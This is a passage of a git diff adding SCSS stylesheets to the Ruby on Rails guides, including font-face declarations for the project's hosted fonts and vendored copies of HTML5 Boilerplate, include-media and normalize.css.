+@font-face { font-family:Inter; font-style:normal; font-weight:400; font-display:swap; src:url("https://rubyonrails.org/assets/fonts/Inter-Regular.woff2?v=4.0") format("woff2"); }
+@font-face { font-family:Inter; font-style:italic; font-weight:400; font-display:swap; src:url("https://rubyonrails.org/assets/fonts/Inter-Italic.woff2?v=4.0") format("woff2"); }
+@font-face { font-family:Inter; font-style:normal; font-weight:500; font-display:swap; src:url("https://rubyonrails.org/assets/fonts/Inter-Medium.woff2?v=4.0") format("woff2"); }
+@font-face { font-family:Inter; font-style:italic; font-weight:500; font-display:swap; src:url("https://rubyonrails.org/assets/fonts/Inter-MediumItalic.woff2?v=4.0") format("woff2"); }
+@font-face { font-family:Inter; font-style:normal; font-weight:600; font-display:swap; src:url("https://rubyonrails.org/assets/fonts/Inter-SemiBold.woff2?v=4.0") format("woff2"); }
+@font-face { font-family:Inter; font-style:italic; font-weight:600; font-display:swap; src:url("https://rubyonrails.org/assets/fonts/Inter-SemiBoldItalic.woff2?v=4.0") format("woff2"); }
+@font-face { font-family:Inter; font-style:normal; font-weight:700; font-display:swap; src:url("https://rubyonrails.org/assets/fonts/Inter-Bold.woff2?v=4.0") format("woff2"); }
+@font-face { font-family:Inter; font-style:italic; font-weight:700; font-display:swap; src:url("https://rubyonrails.org/assets/fonts/Inter-BoldItalic.woff2?v=4.0") format("woff2"); }
+@font-face { font-family:Inter; font-style:normal; font-weight:800; font-display:swap; src:url("https://rubyonrails.org/assets/fonts/Inter-ExtraBold.woff2?v=4.0") format("woff2"); }
+@font-face { font-family:Inter; font-style:italic; font-weight:800; font-display:swap; src:url("https://rubyonrails.org/assets/fonts/Inter-ExtraBoldItalic.woff2?v=4.0") format("woff2"); }
+@font-face { font-family:Inter; font-style:normal; font-weight:900; font-display:swap; src:url("https://rubyonrails.org/assets/fonts/Inter-Black.woff2?v=4.0") format("woff2"); }
+@font-face { font-family:Inter; font-style:italic; font-weight:900; font-display:swap; src:url("https://rubyonrails.org/assets/fonts/Inter-BlackItalic.woff2?v=4.0") format("woff2"); }
+
+@font-face {
+  font-family: 'IBM Plex Mono';
+  font-style: normal;
+  font-weight: 400;
+  src: url("https://rubyonrails.org/assets/fonts/IBMPlexMono-Text.eot");
+  src: url("https://rubyonrails.org/assets/fonts/IBMPlexMono-Text.eot?#iefix") format("embedded-opentype"), url("https://rubyonrails.org/assets/fonts/IBMPlexMono-Text.woff2") format("woff2"), url("https://rubyonrails.org/assets/fonts/IBMPlexMono-Text.woff") format("woff");
+  font-display:swap
+}
+
+@font-face {
+  font-family: 'IBM Plex Mono';
+  font-style: italic;
+  font-weight: 400;
+  src: url("https://rubyonrails.org/assets/fonts/IBMPlexMono-TextItalic.eot");
+  src: url("https://rubyonrails.org/assets/fonts/IBMPlexMono-TextItalic.eot?#iefix") format("embedded-opentype"), url("https://rubyonrails.org/assets/fonts/IBMPlexMono-TextItalic.woff2") format("woff2"), url("https://rubyonrails.org/assets/fonts/IBMPlexMono-TextItalic.woff") format("woff");
+  font-display:swap
+}
+
+@font-face {
+  font-family: 'IBM Plex Mono';
+  font-style: normal;
+  font-weight: 500;
+  src: url("https://rubyonrails.org/assets/fonts/IBMPlexMono-Medium.eot");
+  src: url("https://rubyonrails.org/assets/fonts/IBMPlexMono-Medium.eot?#iefix") format("embedded-opentype"), url("https://rubyonrails.org/assets/fonts/IBMPlexMono-Medium.woff2") format("woff2"), url("https://rubyonrails.org/assets/fonts/IBMPlexMono-Medium.woff") format("woff");
+  font-display:swap
+}
+
+@font-face {
+  font-family: 'IBM Plex Mono';
+  font-style: italic;
+  font-weight: 500;
+  src: url("https://rubyonrails.org/assets/fonts/IBMPlexMono-MediumItalic.eot");
+  src: url("https://rubyonrails.org/assets/fonts/IBMPlexMono-MediumItalic.eot?#iefix") format("embedded-opentype"), url("https://rubyonrails.org/assets/fonts/IBMPlexMono-MediumItalic.woff2") format("woff2"), url("https://rubyonrails.org/assets/fonts/IBMPlexMono-MediumItalic.woff") format("woff");
+  font-display:swap
+}
+
+@font-face {
+  font-family: 'Calibre';
+  font-style: normal;
+  font-weight: 400;
+  src: url("https://rubyonrails.org/assets/fonts/calibre-regular.woff2") format("woff2");
+  font-display:swap
+}
+
+@font-face {
+  font-family: 'Calibre';
+  font-style: italic;
+  font-weight: 400;
+  src: url("https://rubyonrails.org/assets/fonts/calibre-regular-italic.woff2") format("woff2");
+  font-display:swap
+}
+
+@font-face {
+  font-family: 'Calibre';
+  font-style: normal;
+  font-weight: 600;
+  src: url("https://rubyonrails.org/assets/fonts/calibre-semibold.woff2") format("woff2");
+  font-display:swap
+}
+
+@font-face {
+  font-family: 'Calibre';
+  font-style: italic;
+  font-weight: 600;
+  src: url("https://rubyonrails.org/assets/fonts/calibre-semibold-italic.woff2") format("woff2");
+  font-display:swap
+}
+
+@font-face {
+  font-family: 'Calibre';
+  font-style: normal;
+  font-weight: 700;
+  src: url("https://rubyonrails.org/assets/fonts/calibre-bold.woff2") format("woff2");
+  font-display:swap
+}
+
+
+// ----------------------------------------------------------------------------
+// Sizes
+$base-border-radius: 8px;
+
+
+
+// ----------------------------------------------------------------------------
+// Base & Utility
+
+// Fix everything's box model for better style control
+* {
+  box-sizing: border-box;
+} // *
+
+// Makes a list not look like a list
+%list-in-disguise {
+  margin: 0;
+  padding: 0;
+
+  li {
+    margin: 0;
+    padding: 0;
+    list-style: none;
+  }
+} // %list-in-disguise
+
+// For image replacement
+%image-replacement {
+  background-color: transparent;
+  color: transparent;
+  border: 0;
+  overflow: hidden;
+  text-indent: 100%;
+  text-shadow: none;
+  white-space: nowrap;
+
+  &:before {
+    content: "";
+    display: block;
+    height: 100%;
+    width: 0;
+  }
+} // %image-replacement
+
+// Clearfix, not used often anymore, but present for times when the browser misbehaves.
+.clearfix, %clearfix {
+  &:after,
+  &:before {
+    content: " ";
+    display: table;
+  } // &:after, &:before
+
+  &:after {
+    clear: both;
+  } // &:after
+} // %clearfix // .clearfix, %clearfix
+
+.hide {
+  visibility: hidden;
+}
+
+// ----------------------------------------------------------------------------
+// COMPONENTS
+
+@import 'components/_code-container';
+
+// ----------------------------------------------------------------------------
+// Now, bring me that horizon.
+
+@import 'main';
+@import 'dark';
diff --git a/guides/assets/stylesrc/vendor/_boilerplate.scss b/guides/assets/stylesrc/vendor/_boilerplate.scss
new file mode 100644
index 0000000000000..85d84ff6d002f
--- /dev/null
+++ b/guides/assets/stylesrc/vendor/_boilerplate.scss
@@ -0,0 +1,181 @@
+/*! HTML5 Boilerplate v9.0.0-RC1 | MIT License | https://html5boilerplate.com/ */
+
+/* main.css 3.0.0 | MIT License | https://github.com/h5bp/main.css#readme */
+/*
+ * What follows is the result of much research on cross-browser styling.
+ * Credit left inline and big thanks to Nicolas Gallagher, Jonathan Neal,
+ * Kroc Camen, and the H5BP dev community and team.
+ */
+
+/* ==========================================================================
+   Base styles: opinionated defaults
+   ========================================================================== */
+
+   html {
+    color: #222;
+    font-size: 1em;
+    line-height: 1.4;
+  }
+
+  /*
+   * Remove text-shadow in selection highlight:
+   * https://x.com/miketaylr/status/12228805301
+   *
+   * Customize the background color to match your design.
+   */
+
+  ::-moz-selection {
+    background: #C81418; // $rf-brand;
+    color: white;
+    text-shadow: none;
+  }
+
+  ::selection {
+    background: #C81418; //$rf-brand;
+    color: white;
+    text-shadow: none;
+  }
+
+  /*
+   * A better looking default horizontal rule
+   */
+
+  hr {
+    display: block;
+    height: 1px;
+    border: 0;
+    border-top: 1px solid #ccc;
+    margin: 1em 0;
+    padding: 0;
+  }
+
+  /*
+   * Remove the gap between audio, canvas, iframes,
+   * images, videos and the bottom of their containers:
+   * https://github.com/h5bp/html5-boilerplate/issues/440
+   */
+
+  audio,
+  canvas,
+  iframe,
+  img,
+  svg,
+  video {
+    vertical-align: middle;
+  }
+
+  /*
+   * Remove default fieldset styles.
+   */
+
+  fieldset {
+    border: 0;
+    margin: 0;
+    padding: 0;
+  }
+
+  /*
+   * Allow only vertical resizing of textareas.
+   */
+
+  textarea {
+    resize: vertical;
+  }
+
+  /* ==========================================================================
+     Author's custom styles
+     ========================================================================== */
+
+  /* ==========================================================================
+     Helper classes
+     ========================================================================== */
+
+  /*
+   * Hide visually and from screen readers
+   */
+
+  .hidden,
+  [hidden] {
+    display: none !important;
+  }
+
+  /*
+   * Hide only visually, but have it available for screen readers:
+   * https://snook.ca/archives/html_and_css/hiding-content-for-accessibility
+   *
+   * 1. For long content, line feeds are not interpreted as spaces and small width
+   *    causes content to wrap 1 word per line:
+   *    https://medium.com/@jessebeach/beware-smushed-off-screen-accessible-text-5952a4c2cbfe
+   */
+
+  .visually-hidden {
+    border: 0;
+    clip: rect(0, 0, 0, 0);
+    height: 1px;
+    margin: -1px;
+    overflow: hidden;
+    padding: 0;
+    position: absolute;
+    white-space: nowrap;
+    width: 1px;
+    /* 1 */
+  }
+
+  /*
+   * Extends the .visually-hidden class to allow the element
+   * to be focusable when navigated to via the keyboard:
+   * https://www.drupal.org/node/897638
+   */
+
+  .visually-hidden.focusable:active,
+  .visually-hidden.focusable:focus {
+    clip: auto;
+    height: auto;
+    margin: 0;
+    overflow: visible;
+    position: static;
+    white-space: inherit;
+    width: auto;
+  }
+
+  /*
+   * Hide visually and from screen readers, but maintain layout
+   */
+
+  .invisible {
+    visibility: hidden;
+  }
+
+  /*
+   * Clearfix: contain floats
+   *
+   * The use of `table` rather than `block` is only necessary if using
+   * `::before` to contain the top-margins of child elements.
+   */
+
+  .clearfix::before,
+  .clearfix::after {
+    content: "";
+    display: table;
+  }
+
+  .clearfix::after {
+    clear: both;
+  }
+
+  /* ==========================================================================
+     EXAMPLE Media Queries for Responsive Design.
+     These examples override the primary ('mobile first') styles.
+     Modify as content requires.
+     ========================================================================== */
+
+  @media only screen and (min-width: 35em) {
+    /* Style adjustments for viewports that meet the condition */
+  }
+
+  @media print,
+    (-webkit-min-device-pixel-ratio: 1.25),
+    (min-resolution: 1.25dppx),
+    (min-resolution: 120dpi) {
+    /* Style adjustments for high resolution devices */
+  }
diff --git a/guides/assets/stylesrc/vendor/_include-media.scss b/guides/assets/stylesrc/vendor/_include-media.scss
new file mode 100644
index 0000000000000..23477aa644d3b
--- /dev/null
+++ b/guides/assets/stylesrc/vendor/_include-media.scss
@@ -0,0 +1,618 @@
+//     _            _           _                           _ _
+//    (_)          | |         | |                         | (_)
+//     _ _ __   ___| |_   _  __| | ___   _ __ ___   ___  __| |_  __ _
+//    | | '_ \ / __| | | | |/ _` |/ _ \ | '_ ` _ \ / _ \/ _` | |/ _` |
+//    | | | | | (__| | |_| | (_| |  __/ | | | | | |  __/ (_| | | (_| |
+//    |_|_| |_|\___|_|\__,_|\__,_|\___| |_| |_| |_|\___|\__,_|_|\__,_|
+//
+//      Simple, elegant and maintainable media queries in Sass
+//                        v2.0.0
+//
+//        https://eduardoboucas.github.io/include-media
+//
+//         Authors: Eduardo Boucas (@eduardoboucas)
+//                  Kitty Giraudel (@kittygiraudel)
+//
+//      This project is licensed under the terms of the MIT license
+@charset "UTF-8";
+
+////
+/// include-media library public configuration
+/// @author Eduardo Boucas
+/// @access public
+////
+@use 'sass:math';
+@use 'sass:map';
+@use 'sass:list';
+@use 'sass:string';
+@use 'sass:meta';
+
+///
+/// Creates a list of global breakpoints
+///
+/// @example scss - Creates a single breakpoint with the label `phone`
+///  $breakpoints: ('phone': 320px);
+///
+$breakpoints: (
+  'phone': 320px,
+  'tablet': 768px,
+  'desktop': 1024px,
+) !default;
+
+///
+/// Creates a list of static expressions or media types
+///
+/// @example scss - Creates a single media type (screen)
+///  $media-expressions: ('screen': 'screen');
+///
+/// @example scss - Creates a static expression with logical disjunction (OR operator)
+///  $media-expressions: (
+///    'retina2x': '(-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi)'
+///  );
+///
+$media-expressions: (
+  'screen': 'screen',
+  'print': 'print',
+  'handheld': 'handheld',
+  'landscape': '(orientation: landscape)',
+  'portrait': '(orientation: portrait)',
+  'retina2x':
+    '(-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi), (min-resolution: 2dppx)',
+  'retina3x':
+    '(-webkit-min-device-pixel-ratio: 3), (min-resolution: 350dpi), (min-resolution: 3dppx)',
+) !default;
+
+///
+/// Defines a number to be added or subtracted from each unit when declaring breakpoints with exclusive intervals
+///
+/// @example scss - Interval for pixels is defined as `1` by default
+///  @include media('>128px') {}
+///
+///  /* Generates: */
+///  @media (min-width: 129px) {}
+///
+/// @example scss - Interval for ems is defined as `0.01` by default
+///  @include media('>20em') {}
+///
+///  /* Generates: */
+///  @media (min-width: 20.01em) {}
+///
+/// @example scss - Interval for rems is defined as `0.1` by default, to be used with `font-size: 62.5%;`
+///  @include media('>2.0rem') {}
+///
+///  /* Generates: */
+///  @media (min-width: 2.1rem) {}
+///
+$unit-intervals: (
+  'px': 1,
+  'em': 0.01,
+  'rem': 0.1,
+  '': 0,
+) !default;
+
+///
+/// Defines whether support for media queries is available, useful for creating separate stylesheets
+/// for browsers that don't support media queries.
+///
+/// @example scss - Disables support for media queries
+///  $im-media-support: false;
+///  @include media('>=tablet') {
+///    .foo {
+///      color: tomato;
+///    }
+///  }
+///
+///  /* Generates: */
+///  .foo {
+///    color: tomato;
+///  }
+///
+$im-media-support: true !default;
+
+///
+/// Selects which breakpoint to emulate when support for media queries is disabled. Media queries that start at or
+/// intercept the breakpoint will be displayed, any others will be ignored.
+///
+/// @example scss - This media query will show because it intercepts the static breakpoint
+///  $im-media-support: false;
+///  $im-no-media-breakpoint: 'desktop';
+///  @include media('>=tablet') {
+///    .foo {
+///      color: tomato;
+///    }
+///  }
+///
+///  /* Generates: */
+///  .foo {
+///    color: tomato;
+///  }
+///
+/// @example scss - This media query will NOT show because it does not intercept the desktop breakpoint
+///  $im-media-support: false;
+///  $im-no-media-breakpoint: 'tablet';
+///  @include media('>=desktop') {
+///    .foo {
+///      color: tomato;
+///    }
+///  }
+///
+///  /* No output */
+///
+$im-no-media-breakpoint: 'desktop' !default;
+
+///
+/// Selects which media expressions are allowed in an expression for it to be used when media queries
+/// are not supported.
+///
+/// @example scss - This media query will show because it intercepts the static breakpoint and contains only accepted media expressions
+///  $im-media-support: false;
+///  $im-no-media-breakpoint: 'desktop';
+///  $im-no-media-expressions: ('screen');
+///  @include media('>=tablet', 'screen') {
+///    .foo {
+///      color: tomato;
+///    }
+///  }
+///
+///   /* Generates: */
+///   .foo {
+///     color: tomato;
+///   }
+///
+/// @example scss - This media query will NOT show because it intercepts the static breakpoint but contains a media expression that is not accepted
+///  $im-media-support: false;
+///  $im-no-media-breakpoint: 'desktop';
+///  $im-no-media-expressions: ('screen');
+///  @include media('>=tablet', 'retina2x') {
+///    .foo {
+///      color: tomato;
+///    }
+///  }
+///
+///  /* No output */
+///
+$im-no-media-expressions: ('screen', 'portrait', 'landscape') !default;
+
+////
+/// Cross-engine logging engine
+/// @author Kitty Giraudel
+/// @access private
+////
+
+///
+/// Log a message either with `@error` if supported
+/// else with `@warn`, using `feature-exists('at-error')`
+/// to detect support.
+///
+/// @param {String} $message - Message to log
+///
+@function im-log($message) {
+  @if meta.feature-exists('at-error') {
+    @error $message;
+  } @else {
+    @warn $message;
+    $_: noop();
+  }
+
+  @return $message;
+}
+
+///
+/// Wrapper mixin for the log function so it can be used with a more friendly
+/// API than `@if im-log('..') {}` or `$_: im-log('..')`. Basically, use the function
+/// within functions because it is not possible to include a mixin in a function
+/// and use the mixin everywhere else because it's much more elegant.
+///
+/// @param {String} $message - Message to log
+///
+@mixin log($message) {
+  @if im-log($message) {
+  }
+}
+
+///
+/// Function with no `@return` called next to `@warn` in Sass 3.3
+/// to trigger a compiling error and stop the process.
+///
+@function noop() {
+}
+
+///
+/// Determines whether a list of conditions is intercepted by the static breakpoint.
+///
+/// @param {Arglist}   $conditions  - Media query conditions
+///
+/// @return {Boolean} - Returns true if the conditions are intercepted by the static breakpoint
+///
+@function im-intercepts-static-breakpoint($conditions...) {
+  $no-media-breakpoint-value: map.get($breakpoints, $im-no-media-breakpoint);
+
+  @if not $no-media-breakpoint-value {
+    @if im-log('`#{$im-no-media-breakpoint}` is not a valid breakpoint.') {
+    }
+  }
+
+  @each $condition in $conditions {
+    @if not map.has-key($media-expressions, $condition) {
+      $operator: get-expression-operator($condition);
+      $prefix: get-expression-prefix($operator);
+      $value: get-expression-value($condition, $operator);
+
+      @if ($prefix == 'max' and $value <= $no-media-breakpoint-value) or
+        ($prefix == 'min' and $value > $no-media-breakpoint-value)
+      {
+        @return false;
+      }
+    } @else if not list.index($im-no-media-expressions, $condition) {
+      @return false;
+    }
+  }
+
+  @return true;
+}
+
+////
+/// Parsing engine
+/// @author Kitty Giraudel
+/// @access private
+////
+
+///
+/// Get operator of an expression
+///
+/// @param {String} $expression - Expression to extract operator from
+///
+/// @return {String} - Any of `>=`, `>`, `<=`, `<`, `≥`, `≤`
+///
+@function get-expression-operator($expression) {
+  @each $operator in ('>=', '>', '<=', '<', '≥', '≤') {
+    @if string.index($expression, $operator) {
+      @return $operator;
+    }
+  }
+
+  // It is not possible to include a mixin inside a function, so we have to
+  // rely on the `im-log(..)` function rather than the `log(..)` mixin. Because
+  // functions cannot be called anywhere in Sass, we need to hack the call in
+  // a dummy variable, such as `$_`. If anybody ever raise a scoping issue with
+  // Sass 3.3, change this line in `@if im-log(..) {}` instead.
+  $_: im-log('No operator found in `#{$expression}`.');
+}
+
+///
+/// Get dimension of an expression, based on a found operator
+///
+/// @param {String} $expression - Expression to extract dimension from
+/// @param {String} $operator - Operator from `$expression`
+///
+/// @return {String} - `width` or `height` (or potentially anything else)
+///
+@function get-expression-dimension($expression, $operator) {
+  $operator-index: string.index($expression, $operator);
+  $parsed-dimension: string.slice($expression, 0, $operator-index - 1);
+  $parsed-dimension: str-trim($parsed-dimension);
+  $dimension: 'width';
+
+  @if string.length($parsed-dimension) > 0 {
+    $dimension: $parsed-dimension;
+  }
+
+  @return $dimension;
+}
+
+///
+/// Get dimension prefix based on an operator
+///
+/// @param {String} $operator - Operator
+///
+/// @return {String} - `min` or `max`
+///
+@function get-expression-prefix($operator) {
+  @return if(list.index(('<', '<=', '≤'), $operator), 'max', 'min');
+}
+
+///
+/// Get value of an expression, based on a found operator
+///
+/// @param {String} $expression - Expression to extract value from
+/// @param {String} $operator - Operator from `$expression`
+///
+/// @return {Number} - A numeric value
+///
+@function get-expression-value($expression, $operator) {
+  $operator-index: string.index($expression, $operator);
+  $value: string.slice($expression, $operator-index + string.length($operator));
+  $trimmedValue: str-trim($value);
+
+  @if map.has-key($breakpoints, $trimmedValue) {
+    $value: map.get($breakpoints, $trimmedValue);
+  } @else {
+    $value: to-number($trimmedValue);
+  }
+
+  $interval: map.get($unit-intervals, math.unit($value));
+
+  @if not $interval {
+    // It is not possible to include a mixin inside a function, so we have to
+    // rely on the `im-log(..)` function rather than the `log(..)` mixin. Because
+    // functions cannot be called anywhere in Sass, we need to hack the call in
+    // a dummy variable, such as `$_`. If anybody ever raise a scoping issue with
+    // Sass 3.3, change this line in `@if im-log(..) {}` instead.
+    $_: im-log('Unknown unit `#{math.unit($value)}`.');
+  }
+
+  @if $operator == '>' {
+    $value: $value + $interval;
+  } @else if $operator == '<' {
+    $value: $value - $interval;
+  }
+
+  @return $value;
+}
+
+///
+/// Parse an expression to return a valid media-query expression
+///
+/// @param {String} $expression - Expression to parse
+///
+/// @return {String} - Valid media query
+///
+@function parse-expression($expression) {
+  // If it is part of $media-expressions, it has no operator
+  // then there is no need to go any further, just return the value
+  @if map.has-key($media-expressions, $expression) {
+    @return map.get($media-expressions, $expression);
+  }
+
+  $operator: get-expression-operator($expression);
+  $dimension: get-expression-dimension($expression, $operator);
+  $prefix: get-expression-prefix($operator);
+  $value: get-expression-value($expression, $operator);
+
+  @return '(#{$prefix}-#{$dimension}: #{$value})';
+}
+
+///
+/// Slice `$list` between `$start` and `$end` indexes
+///
+/// @access private
+///
+/// @param {List} $list - List to slice
+/// @param {Number} $start [1] - Start index
+/// @param {Number} $end [length($list)] - End index
+///
+/// @return {List} Sliced list
+///
+@function slice($list, $start: 1, $end: list.length($list)) {
+  @if list.length($list) < 1 or $start > $end {
+    @return ();
+  }
+
+  $result: ();
+
+  @for $i from $start through $end {
+    $result: list.append($result, list.nth($list, $i), comma);
+  }
+
+  @return $result;
+}
+
+////
+/// String to number converter
+/// @author Kitty Giraudel
+/// @access private
+////
+
+///
+/// Casts a string into a number
+///
+/// @param {String | Number} $value - Value to be parsed
+///
+/// @return {Number}
+///
+
+@function to-number($value) {
+  @if meta.type-of($value) == 'number' {
+    @return $value;
+  } @else if meta.type-of($value) != 'string' {
+    $_: im-log('Value for `to-number` should be a number or a string.');
+  }
+
+  $first-character: string.slice($value, 1, 1);
+  $result: 0;
+  $digits: 0;
+  $minus: ($first-character == '-');
+  $numbers: (
+    '0': 0,
+    '1': 1,
+    '2': 2,
+    '3': 3,
+    '4': 4,
+    '5': 5,
+    '6': 6,
+    '7': 7,
+    '8': 8,
+    '9': 9,
+  );
+
+  // Remove +/- sign if present at first character
+  @if ($first-character == '+' or $first-character == '-') {
+    $value: string.slice($value, 2);
+  }
+
+  @for $i from 1 through string.length($value) {
+    $character: string.slice($value, $i, $i);
+
+    @if not(list.index(map.keys($numbers), $character) or $character == '.') {
+      @return to-length(if($minus, -$result, $result), string.slice($value, $i));
+    }
+
+    @if $character == '.' {
+      $digits: 1;
+    } @else if $digits == 0 {
+      $result: $result * 10 + map.get($numbers, $character);
+    } @else {
+      $digits: $digits * 10;
+      $result: $result + math.div(map.get($numbers, $character), $digits);
+    }
+  }
+
+  @return if($minus, -$result, $result);
+}
+
+///
+/// Add `$unit` to `$value`
+///
+/// @param {Number} $value - Value to add unit to
+/// @param {String} $unit - String representation of the unit
+///
+/// @return {Number} - `$value` expressed in `$unit`
+///
+@function to-length($value, $unit) {
+  $units: (
+    'px': 1px,
+    'cm': 1cm,
+    'mm': 1mm,
+    '%': 1%,
+    'ch': 1ch,
+    'pc': 1pc,
+    'in': 1in,
+    'em': 1em,
+    'rem': 1rem,
+    'pt': 1pt,
+    'ex': 1ex,
+    'vw': 1vw,
+    'vh': 1vh,
+    'vmin': 1vmin,
+    'vmax': 1vmax,
+  );
+
+  @if not list.index(map.keys($units), $unit) {
+    $_: im-log('Invalid unit `#{$unit}`.');
+  }
+
+  @return $value * map.get($units, $unit);
+}
+
+////
+/// String to number converter
+/// @author Jack McNicol
+/// @access private
+////
+
+///
+/// Trims a string of leading and trailing spaces
+///
+/// @param {String} $string - Value to be trimmed
+///
+/// @return {String}
+///
+
+@function str-trim($string) {
+  @if (str-slice($string, 1, 1) == ' ') {
+    @return str-trim(str-slice($string, 2));
+  } @else if (str-slice($string, str-length($string), -1) == ' ') {
+    @return str-trim(str-slice($string, 1, -2));
+  } @else {
+    @return $string;
+  }
+}
+
+///
+/// This mixin aims at redefining the configuration just for the scope of
+/// the call. It is helpful when having a component needing an extended
+/// configuration such as custom breakpoints (referred to as tweakpoints)
+/// for instance.
+///
+/// @author Kitty Giraudel
+///
+/// @param {Map} $tweakpoints [()] - Map of tweakpoints to be merged with `$breakpoints`
+/// @param {Map} $tweak-media-expressions [()] - Map of tweaked media expressions to be merged with `$media-expression`
+///
+/// @example scss - Extend the global breakpoints with a tweakpoint
+///  @include media-context(('custom': 678px)) {
+///    .foo {
+///      @include media('>phone', '<=custom') {
+///       // ...
+///      }
+///    }
+///  }
+///
+/// @example scss - Extend the global media expressions with a custom one
+///  @include media-context($tweak-media-expressions: ('all': 'all')) {
+///    .foo {
+///      @include media('all', '>phone') {
+///       // ...
+///      }
+///    }
+///  }
+///
+/// @example scss - Extend both configuration maps
+///  @include media-context(('custom': 678px), ('all': 'all')) {
+///    .foo {
+///      @include media('all', '>phone', '<=custom') {
+///       // ...
+///      }
+///    }
+///  }
+///
+@mixin media-context($tweakpoints: (), $tweak-media-expressions: ()) {
+  // Save global configuration
+  $global-breakpoints: $breakpoints;
+  $global-media-expressions: $media-expressions;
+
+  // Update global configuration
+  $breakpoints: map.merge($breakpoints, $tweakpoints) !global;
+  $media-expressions: map.merge($media-expressions, $tweak-media-expressions) !global;
+
+  @content;
+
+  // Restore global configuration
+  $breakpoints: $global-breakpoints !global;
+  $media-expressions: $global-media-expressions !global;
+}
+
+////
+/// include-media public exposed API
+/// @author Eduardo Boucas
+/// @access public
+////
+
+///
+/// Generates a media query based on a list of conditions
+///
+/// @param {Arglist}   $conditions  - Media query conditions
+///
+/// @example scss - With a single set breakpoint
+///  @include media('>phone') { }
+///
+/// @example scss - With two set breakpoints
+///  @include media('>phone', '<=tablet') { }
+///
+/// @example scss - With custom values
+///  @include media('>=358px', '<850px') { }
+///
+/// @example scss - With set breakpoints with custom values
+///  @include media('>desktop', '<=1350px') { }
+///
+/// @example scss - With a static expression
+///  @include media('retina2x') { }
+///
+/// @example scss - Mixing everything
+///  @include media('>=350px', '<tablet', 'retina3x') { }
+///
+@mixin media($conditions...) {
+  @if ($im-media-support and list.length($conditions) == 0) or
+    (not $im-media-support and im-intercepts-static-breakpoint($conditions...))
+  {
+    @content;
+  } @else if ($im-media-support and list.length($conditions) > 0) {
+    @media #{string.unquote(parse-expression(list.nth($conditions, 1)))} {
+      // Recursive call
+      $sliced-conditions: slice($conditions, 2);
+      @include media($sliced-conditions...) {
+        @content;
+      }
+    }
+  }
+}
\ No newline at end of file
diff --git a/guides/assets/stylesrc/vendor/_normalize.scss b/guides/assets/stylesrc/vendor/_normalize.scss
new file mode 100644
index 0000000000000..c45a85f898227
--- /dev/null
+++ b/guides/assets/stylesrc/vendor/_normalize.scss
@@ -0,0 +1,349 @@
+/*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */
+
+/* Document
+   ========================================================================== */
+
+/**
+ * 1. Correct the line height in all browsers.
+ * 2. Prevent adjustments of font size after orientation changes in iOS.
+ */
+
+ html {
+    line-height: 1.15; /* 1 */
+    -webkit-text-size-adjust: 100%; /* 2 */
+  }
+  
+  /* Sections
+     ========================================================================== */
+  
+  /**
+   * Remove the margin in all browsers.
+   */
+  
+  body {
+    margin: 0;
+  }
+  
+  /**
+   * Render the `main` element consistently in IE.
+   */
+  
+  main {
+    display: block;
+  }
+  
+  /**
+   * Correct the font size and margin on `h1` elements within `section` and
+   * `article` contexts in Chrome, Firefox, and Safari.
+   */
+  
+  h1 {
+    font-size: 2em;
+    margin: 0.67em 0;
+  }
+  
+  /* Grouping content
+     ========================================================================== */
+  
+  /**
+   * 1. Add the correct box sizing in Firefox.
+   * 2. Show the overflow in Edge and IE.
+   */
+  
+  hr {
+    box-sizing: content-box; /* 1 */
+    height: 0; /* 1 */
+    overflow: visible; /* 2 */
+  }
+  
+  /**
+   * 1. Correct the inheritance and scaling of font size in all browsers.
+   * 2. Correct the odd `em` font sizing in all browsers.
+   */
+  
+  pre {
+    font-family: monospace, monospace; /* 1 */
+    font-size: 1em; /* 2 */
+  }
+  
+  /* Text-level semantics
+     ========================================================================== */
+  
+  /**
+   * Remove the gray background on active links in IE 10.
+   */
+  
+  a {
+    background-color: transparent;
+  }
+  
+  /**
+   * 1. Remove the bottom border in Chrome 57-
+   * 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari.
+   */
+  
+  abbr[title] {
+    border-bottom: none; /* 1 */
+    text-decoration: underline; /* 2 */
+    text-decoration: underline dotted; /* 2 */
+  }
+  
+  /**
+   * Add the correct font weight in Chrome, Edge, and Safari.
+   */
+  
+  b,
+  strong {
+    font-weight: bolder;
+  }
+  
+  /**
+   * 1. Correct the inheritance and scaling of font size in all browsers.
+   * 2. Correct the odd `em` font sizing in all browsers.
+   */
+  
+  code,
+  kbd,
+  samp {
+    font-family: monospace, monospace; /* 1 */
+    font-size: 1em; /* 2 */
+  }
+  
+  /**
+   * Add the correct font size in all browsers.
+   */
+  
+  small {
+    font-size: 80%;
+  }
+  
+  /**
+   * Prevent `sub` and `sup` elements from affecting the line height in
+   * all browsers.
+   */
+  
+  sub,
+  sup {
+    font-size: 75%;
+    line-height: 0;
+    position: relative;
+    vertical-align: baseline;
+  }
+  
+  sub {
+    bottom: -0.25em;
+  }
+  
+  sup {
+    top: -0.5em;
+  }
+  
+  /* Embedded content
+     ========================================================================== */
+  
+  /**
+   * Remove the border on images inside links in IE 10.
+   */
+  
+  img {
+    border-style: none;
+  }
+  
+  /* Forms
+     ========================================================================== */
+  
+  /**
+   * 1. Change the font styles in all browsers.
+   * 2. Remove the margin in Firefox and Safari.
+   */
+  
+  button,
+  input,
+  optgroup,
+  select,
+  textarea {
+    font-family: inherit; /* 1 */
+    font-size: 100%; /* 1 */
+    line-height: 1.15; /* 1 */
+    margin: 0; /* 2 */
+  }
+  
+  /**
+   * Show the overflow in IE.
+   * 1. Show the overflow in Edge.
+   */
+  
+  button,
+  input { /* 1 */
+    overflow: visible;
+  }
+  
+  /**
+   * Remove the inheritance of text transform in Edge, Firefox, and IE.
+   * 1. Remove the inheritance of text transform in Firefox.
+   */
+  
+  button,
+  select { /* 1 */
+    text-transform: none;
+  }
+  
+  /**
+   * Correct the inability to style clickable types in iOS and Safari.
+   */
+  
+  button,
+  [type="button"],
+  [type="reset"],
+  [type="submit"] {
+    -webkit-appearance: button;
+  }
+  
+  /**
+   * Remove the inner border and padding in Firefox.
+   */
+  
+  button::-moz-focus-inner,
+  [type="button"]::-moz-focus-inner,
+  [type="reset"]::-moz-focus-inner,
+  [type="submit"]::-moz-focus-inner {
+    border-style: none;
+    padding: 0;
+  }
+  
+  /**
+   * Restore the focus styles unset by the previous rule.
+   */
+  
+  button:-moz-focusring,
+  [type="button"]:-moz-focusring,
+  [type="reset"]:-moz-focusring,
+  [type="submit"]:-moz-focusring {
